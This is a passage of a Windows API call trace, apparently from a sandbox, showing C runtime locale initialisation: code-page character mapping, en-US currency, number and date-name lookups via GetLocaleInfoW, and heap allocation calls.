CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f149, cbMultiByte=255, lpWideCharStr=0x126028, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0178.132] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0178.132] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x125e18, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ") returned 255 [0178.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ", cchWideChar=255, lpMultiByteStr=0x24f041, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fZ\n÷7\\Ò", lpUsedDefaultChar=0x0) returned 255 [0178.133] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f148 | out: hHeap=0x240000) returned 1 [0178.133] GetLastError () returned 0x0 [0178.133] SetLastError (dwErrCode=0x0) [0178.133] GetLastError () returned 0x0 [0178.133] SetLastError (dwErrCode=0x0) [0178.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1f) returned 0x242da8 [0178.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x50) returned 0x24f148 [0178.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24e700 [0178.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24e6f0 [0178.133] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.133] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x1261c8, cchData=4 | out: lpLCData="USD") returned 4 [0178.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="USD", cchWideChar=-1, lpMultiByteStr=0x126250, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USD", lpUsedDefaultChar=0x0) returned 4 [0178.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e730 [0178.133] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.133] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x1261b8, cchData=2 | out: lpLCData="$") returned 2 [0178.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=-1, lpMultiByteStr=0x12623c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 2 [0178.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e710 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x1261a8, cchData=2 | out: lpLCData=".") returned 2 [0178.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x126228, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0178.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e750 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x126198, cchData=2 | out: lpLCData=",") returned 2 [0178.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x126214, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0178.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e760 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x1261c8, cchData=4 | out: lpLCData="3;0") returned 4 [0178.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x126250, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0178.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e770 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0178.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x1261b8, cchData=1 | out: lpLCData="") returned 1 [0178.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x12623c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0178.135] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1) returned 0x24e780 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x1261a8, cchData=2 | out: lpLCData="-") returned 2 [0178.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=-1, lpMultiByteStr=0x126228, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-", lpUsedDefaultChar=0x0) returned 2 [0178.135] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e790 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x2000001a, lpLCData=0x126210, cchData=2 | out: lpLCData="\x02") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000019, lpLCData=0x12624c, cchData=2 | out: lpLCData="\x02") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000054, lpLCData=0x126238, cchData=2 | out: lpLCData="\x01") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000055, lpLCData=0x126224, cchData=2 | out: lpLCData="") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000056, lpLCData=0x126210, cchData=2 | out: lpLCData="\x01") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000057, lpLCData=0x12624c, cchData=2 | out: lpLCData="") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000052, lpLCData=0x126238, cchData=2 | out: lpLCData="\x03") returned 2 [0178.135] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000053, lpLCData=0x126224, cchData=2 | out: lpLCData="") returned 2 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24e7a0 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x24e7a0, cchData=4 | out: lpLCData="USD") returned 4 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e7b0 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x24e7b0, cchData=2 | out: lpLCData="$") returned 2 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e7c0 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x24e7c0, cchData=2 | out: lpLCData=".") returned 2 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e7d0 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x24e7d0, cchData=2 | out: lpLCData=",") returned 2 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0178.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e7e0 [0178.136] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x24e7e0, cchData=1 | out: lpLCData="") returned 1 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e7f0 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x24e7f0, cchData=2 | out: lpLCData="-") returned 2 [0178.137] GetLastError () returned 0x0 [0178.137] SetLastError (dwErrCode=0x0) [0178.137] GetLastError () returned 0x0 [0178.137] SetLastError (dwErrCode=0x0) [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1f) returned 0x242dd0 [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x50) returned 0x24f1a0 [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24e800 [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24e810 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x1261c8, cchData=2 | out: lpLCData=".") returned 2 [0178.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x126250, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0178.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e820 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x1261b8, cchData=2 | out: lpLCData=",") returned 2 [0178.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12623c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0178.138] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2) returned 0x24e830 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x1261a8, cchData=4 | out: lpLCData="3;0") returned 4 [0178.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x126228, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0178.138] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e840 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.138] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e850 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x24e850, cchData=2 | out: lpLCData=".") returned 2 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0178.138] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e860 [0178.138] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x24e860, cchData=2 | out: lpLCData=",") returned 2 [0178.138] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e700 | out: hHeap=0x240000) returned 1 [0178.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f148 | out: hHeap=0x240000) returned 1 [0178.139] GetLastError () returned 0x0 [0178.139] SetLastError (dwErrCode=0x0) [0178.139] GetLastError () returned 0x0 [0178.139] SetLastError (dwErrCode=0x0) [0178.139] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1f) returned 0x24f148 [0178.139] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x164) returned 0x24f1f8 [0178.139] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.139] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x1261b8, cchData=4 | out: lpLCData="Mon") returned 4 [0178.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mon", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mon", lpUsedDefaultChar=0x0) returned 4 [0178.139] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e700 [0178.139] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.139] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x1261a8, cchData=4 | out: lpLCData="Tue") returned 4 [0178.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tue", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tue", lpUsedDefaultChar=0x0) returned 4 [0178.139] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e870 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x126198, cchData=4 | out: lpLCData="Wed") returned 4 [0178.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wed", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wed", lpUsedDefaultChar=0x0) returned 4 [0178.140] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e880 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x126178, cchData=4 | out: lpLCData="Thu") returned 4 [0178.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thu", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thu", lpUsedDefaultChar=0x0) returned 4 [0178.140] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e890 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x1261b8, cchData=4 | out: lpLCData="Fri") returned 4 [0178.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fri", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fri", lpUsedDefaultChar=0x0) returned 4 [0178.140] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e8a0 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x1261a8, cchData=4 | out: lpLCData="Sat") returned 4 [0178.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sat", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sat", lpUsedDefaultChar=0x0) returned 4 [0178.140] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e8b0 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x126198, cchData=4 | out: lpLCData="Sun") returned 4 [0178.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sun", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sun", lpUsedDefaultChar=0x0) returned 4 [0178.140] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e8c0 [0178.140] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x126178, cchData=7 | out: lpLCData="Monday") returned 7 [0178.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Monday", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monday", lpUsedDefaultChar=0x0) returned 7 [0178.141] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7) returned 0x24e8d0 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x1261b8, cchData=8 | out: lpLCData="Tuesday") returned 8 [0178.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tuesday", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tuesday", lpUsedDefaultChar=0x0) returned 8 [0178.141] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24e8e0 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x126198, cchData=10 | out: lpLCData="Wednesday") returned 10 [0178.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wednesday", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wednesday", lpUsedDefaultChar=0x0) returned 10 [0178.141] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa) returned 0x24e318 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x126188, cchData=9 | out: lpLCData="Thursday") returned 9 [0178.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thursday", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thursday", lpUsedDefaultChar=0x0) returned 9 [0178.141] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e300 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.141] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x126178, cchData=7 | out: lpLCData="Friday") returned 7 [0178.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Friday", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Friday", lpUsedDefaultChar=0x0) returned 7 [0178.141] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7) returned 0x24e8f0 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x1261a8, cchData=9 | out: lpLCData="Saturday") returned 9 [0178.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Saturday", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Saturday", lpUsedDefaultChar=0x0) returned 9 [0178.142] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e2e8 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x126198, cchData=7 | out: lpLCData="Sunday") returned 7 [0178.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sunday", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sunday", lpUsedDefaultChar=0x0) returned 7 [0178.142] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7) returned 0x24e900 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x126198, cchData=4 | out: lpLCData="Jan") returned 4 [0178.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jan", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jan", lpUsedDefaultChar=0x0) returned 4 [0178.142] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e910 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x126178, cchData=4 | out: lpLCData="Feb") returned 4 [0178.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Feb", cchWideChar=-1, 